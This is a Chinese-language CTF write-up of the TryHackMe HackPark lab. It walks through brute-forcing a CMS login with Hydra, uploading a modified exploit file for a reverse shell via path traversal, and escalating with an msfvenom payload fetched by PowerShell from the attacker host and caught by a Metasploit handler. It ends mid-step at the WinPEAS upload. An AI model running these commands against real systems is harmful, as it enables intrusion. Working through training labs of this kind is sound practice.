TryHackMe | HackPark Writeup

可以用autorecon进行波信息收集，可以自动联动nmap和gobuster，但是扫的时间很久

所以我就直接拿nmap扫了

可以看到俩个开放端口 80 3389

Task 1 Deploy the vulnerable Windows machine

Whats the name of the clown displayed on the homepage?

访问网页给了个小丑的图片，图像搜索页面上的小丑图像会显示名称“Pennywise”

先记着，说不定可能是密码或者一个key

Task 2 Using Hydra to brute-force a login

类型POST

标题提示我们要暴力破解密码

访问网页，右边有个折叠栏，点开最下面有个login，点击进入admin后台登入页面

然后进行抓包，流程就不掩饰了（默认大家都会）密码本用的是kali自带的，

然后密码登入进入到后台

点击about就可以看到这个cms的一些基本信息

What is the CVE?

利用searchsploit寻找漏洞

然后可以执行命令来查看该漏洞文件里的漏洞编号

然后用vim编辑文件保存

第一个双引号是自己IP，第二个是端口，将修改后的文件重命名为PostView.ascx

这是因为在DNN平台中，这个文件名是默认的用户控件文件名，而且这个文件名也被硬编码在一些重要的DNN文件中。
因此，攻击者将上传的文件重命名为“PostView.ascx”，可以欺骗DNN平台认为这是一个合法的用户控件文件，并绕过了上传文件类型和文件名的验证。这样一来，攻击者可以成功地上传并执行恶意代码。

然后来到那个后台界面，点击content进入后点New创建新的

然后点击最后一个按钮，上传刚刚我们的漏洞文件，上传成功后选中这个文件，取个标题，然后SAVE保存

然后访问/?theme=../../App_Data/files后得到反弹shell，执行whoami获得答案

Task 4 Windows Privilege Escalation

题目提示我们可以使用 msfvenom 生成另一个反向 shell，这就和上次Alfred的差不多

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.44.14  LPORT=6666 -f exe >shell.exe

powershell -c "Invoke-WebRequest -Uri 'http://10.11.44.141:80/shell.exe' -OutFile 'shell.exe'"

一样的再shell.exe上用python命令python3 -m http.server 80 创建http服务

再开启msfconsole，然后还是一样的命令监听

use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST your-thm-ip 
set LPORT listening-port //这里的port是你第二次shell文件上设置的端口
run

然后再获得的shell命令中下载我们的shell.exe，再执行

执行sysinfo得到系统信息

提权

使用 Meterpreter 上传命令上传 WinPEAS 枚举可执行文件：